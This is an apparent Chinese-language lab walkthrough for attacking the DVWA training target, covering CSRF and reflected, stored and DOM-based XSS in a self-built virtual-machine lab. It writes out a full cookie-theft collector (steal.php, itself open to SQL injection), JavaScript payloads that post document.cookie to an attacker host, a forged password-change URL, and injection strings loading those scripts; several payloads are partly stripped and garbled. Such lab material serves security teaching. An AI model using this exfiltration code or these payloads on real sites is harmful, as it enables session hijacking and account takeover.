跨站攻击

提示:本实验仅用于学习参考,不可用作其他用途!

实验环境要求:

总体目标:基于centos7搭建dvwa web服务靶机,使用主机上的浏览器和php虚拟机作为攻击机,攻击dvwa上的跨站漏洞。

跨站攻击_第1张图片

任务一、搭建实验基础环境

  1. 使用dvwa@centos7创建链接克隆php@centos7虚拟机

  1. 更改php@centos7虚拟机地址为192.168.*.123

跨站攻击_第2张图片

  1. 在dvwa虚拟机ping php虚拟机

跨站攻击_第3张图片

  1. 在主机访问php虚拟机phpinfo.php页面

跨站攻击_第4张图片

 

任务二、攻击CSRF跨站请求伪造漏洞

  1. 在主机使用浏览器访问dvwa站点设置low级别

跨站攻击_第5张图片

  1. 打开csrf页面,修改密码为123456

跨站攻击_第6张图片

  1. 在dvwa虚拟机打开数据库查看admin的密码

  1. 在主机浏览器中构造URL改变admin的密码

http://192.168.*.80/dvwa/vulnerabilities/csrf/?password_new=password&password_conf= password &Change=Change#

跨站攻击_第7张图片

  1. 在dvwa虚拟机打开数据库查看admin的密码

  1. 在php虚拟机构造攻击页面,改变admin的密码 (注意浏览器同源策略)

404

file not found.

  1. 在主机浏览器访问php虚拟机上的攻击页面

跨站攻击_第8张图片

  1. 在dvwa虚拟机打开数据库查看admin的密码

任务三、在php@centos7构建恶意服务器

  1. 创建数据库dvwacookie

create database dvwacookie;

use dvwacookie;

create table low(id int not null auto_increment primary key,cookie varchar(100) not null);

create table medium(id int not null auto_increment primary key,cookie varchar(100) not null);

create table high(id int not null auto_increment primary key,cookie varchar(100) not null);

跨站攻击_第9张图片

跨站攻击_第10张图片

  1. 编写cookie窃取代码/var/www/html/steal.php

header("content-type:text/html;charset=utf-8");

echo "

hello

";

echo "
";

$conn=mysql_connect("localhost","root","123456");

mysql_select_db("dvwacookie",$conn);

if(isset($_GET['data']))

{

$sql="insert into low(cookie) values('".$_GET['data']."');";

$result=mysql_query($sql,$conn);

mysql_close();

}

else if(isset($_POST['data']))

{

$sql="insert into low(cookie) values('".$_POST['data']."');";

$result=mysql_query($sql,$conn);

mysql_close();

}

else

{

$sql="select * from low";

$result=mysql_query($sql,$conn);

while($row=mysql_fetch_array($result))

{

echo "偷取的cookie:".$row[1]."
";

}

mysql_close();

}

?>

跨站攻击_第11张图片

  1. 在主机浏览器访问steal.php

跨站攻击_第12张图片

  1. 编写JS代码/var/www/html/cookie.js

document.write("

");

document.write("");

document.write("");

document.exploit.submit();

  1. 编写JS代码/var/www/html/cookie_ajax.js

var url = "http://攻击机IP/steal.php";

var postStr = "data="+document.cookie;

var ajax = null;

if (window.XMLHttpRequest) {

ajax = new XMLHttpRequest();

} else if (window.ActiveXObject) {

ajax = new ActiveXObject("Microsoft.XMLHTTP");

} else {

ajax=null;

}

ajax.open("POST", url, true);//true代表异步

ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

ajax.send(postStr);

任务四、攻击DVWA反射型XSS漏洞(low)

  1. 测试dvwa反射型XSS漏洞(low)注入点

设置dvwa为low级别,在http://靶机IP/dvwa/vulnerabilities/xss_r/的输入框中输入

跨站攻击_第13张图片

  1. 在dvwa注入点插入攻击脚本,点击提交

跨站攻击_第14张图片

  1. 在主机浏览器访问steal.php

跨站攻击_第15张图片

  1. 在dvwa已经登录的浏览器地址栏输入url

http://靶机IP/dvwa/vulnerabilities/xss_r/?name=

跨站攻击_第16张图片

  1. 在主机浏览器访问steal.php

跨站攻击_第17张图片

任务五、攻击DVWA反射型XSS漏洞(medium)

  1. 测试dvwa反射型XSS漏洞(medium)注入点

设置dvwa为medium级别,在http://靶机IP/dvwa/vulnerabilities/xss_r/的输入框中输入ript>alert(/xss/)

跨站攻击_第18张图片

  1. 在dvwa注入点插入攻击脚本,点击提交

ript src=http://攻击机IP/cookie.js>

跨站攻击_第19张图片

  1. 在主机浏览器访问steal.php

跨站攻击_第20张图片

  1. 在dvwa已经登录的浏览器地址栏输入url

http://靶机IP/dvwa/vulnerabilities/xss_r/?name=ript src=http://攻击机IP/cookie.js>

跨站攻击_第21张图片

  1. 在主机浏览器访问steal.php

跨站攻击_第22张图片

任务六、攻击DVWA存储型XSS漏洞(low)

  1. 修改dvwa存储型XSS漏洞前端代码

  1. 测试dvwa存储型XSS漏洞(low)注入点

设置dvwa为low级别,在http://靶机IP/dvwa/vulnerabilities/xss_s/的Message*输入框中输入

跨站攻击_第23张图片

在dvwa的MySQL数据库中查看dvwa数据库guestbook表

跨站攻击_第24张图片

  1. 在dvwa注入点插入攻击脚本,点击提交

http://靶机IP/dvwa/vulnerabilities/xss_s/的Message *输入框中输入

在另外的浏览器访问dvwa,设为low级别,点击访问http://靶机IP/dvwa/vulnerabilities/xss_s/

跨站攻击_第25张图片

  1. 在php虚拟机查看dvwacookie数据库low表

跨站攻击_第26张图片

  1. 在主机浏览器访问steal.php

跨站攻击_第27张图片

  1. 在dvwa注入点插入ajax攻击脚本,点击提交

http://靶机IP/dvwa/vulnerabilities/xss_s/的Message *输入框中输入

在另外的浏览器访问dvwa,设为low级别,点击访问http://靶机IP/dvwa/vulnerabilities/xss_s/

跨站攻击_第28张图片

  1. 在主机浏览器访问steal.php

跨站攻击_第29张图片

  1. 在php虚拟机查看dvwacookie数据库low表

跨站攻击_第30张图片

任务七、攻击DVWA存储型XSS漏洞(medium)

跨站攻击_第31张图片

  1. 测试dvwa存储型XSS漏洞(medium)注入点

设置dvwa为medium级别,在http://靶机IP/dvwa/vulnerabilities/xss_s/的name*输入框中输入ript>alert(/xss/)

跨站攻击_第32张图片

在dvwa的MySQL数据库中查看dvwa数据库guestbook表

跨站攻击_第33张图片

  1. 在dvwa注入点插入攻击脚本,点击提交

http://靶机IP/dvwa/vulnerabilities/xss_s/的name*输入框中输入ript src=http://攻击机IP/cookie.js>

跨站攻击_第34张图片

在另外的浏览器访问dvwa,设为low级别,点击访问http://靶机IP/dvwa/vulnerabilities/xss_s/

跨站攻击_第35张图片

  1. 在php虚拟机查看dvwacookie数据库low表

跨站攻击_第36张图片

  1. 在主机浏览器访问steal.php

跨站攻击_第37张图片

  1. 在dvwa注入点插入ajax攻击脚本,点击提交

http://靶机IP/dvwa/vulnerabilities/xss_s/的name*输入框中输入ript src=http://攻击机IP/cookie_ajax.js>

跨站攻击_第38张图片

在另外的浏览器访问dvwa,设为low级别,点击访问http://靶机IP/dvwa/vulnerabilities/xss_s/

跨站攻击_第39张图片

  1. 在主机浏览器访问steal.php

跨站攻击_第40张图片

  1. 在php虚拟机查看dvwacookie数据库low表

跨站攻击_第41张图片

任务八、攻击DVWA DOM型XSS漏洞(low)

  1. 测试dvwa DOM型XSS漏洞(low)注入点

设置dvwa为low级别,在主机浏览器地址栏中输入

http://192.168.60.80/dvwa/vulnerabilities/xss_d/?default=

跨站攻击_第42张图片

在浏览器中查看源代码,分析dom数据

跨站攻击_第43张图片

  1. 获取用户cookie

在主机浏览器地址栏中输入

http://192.168.60.80/dvwa/vulnerabilities/xss_d/?default=

跨站攻击_第44张图片

在浏览器中查看源代码,分析dom数据

跨站攻击_第45张图片

  1. 在php虚拟机查看dvwacookie数据库low表

跨站攻击_第46张图片

  1. 在主机浏览器访问steal.php

跨站攻击_第47张图片

你可能感兴趣的:(跨站攻击)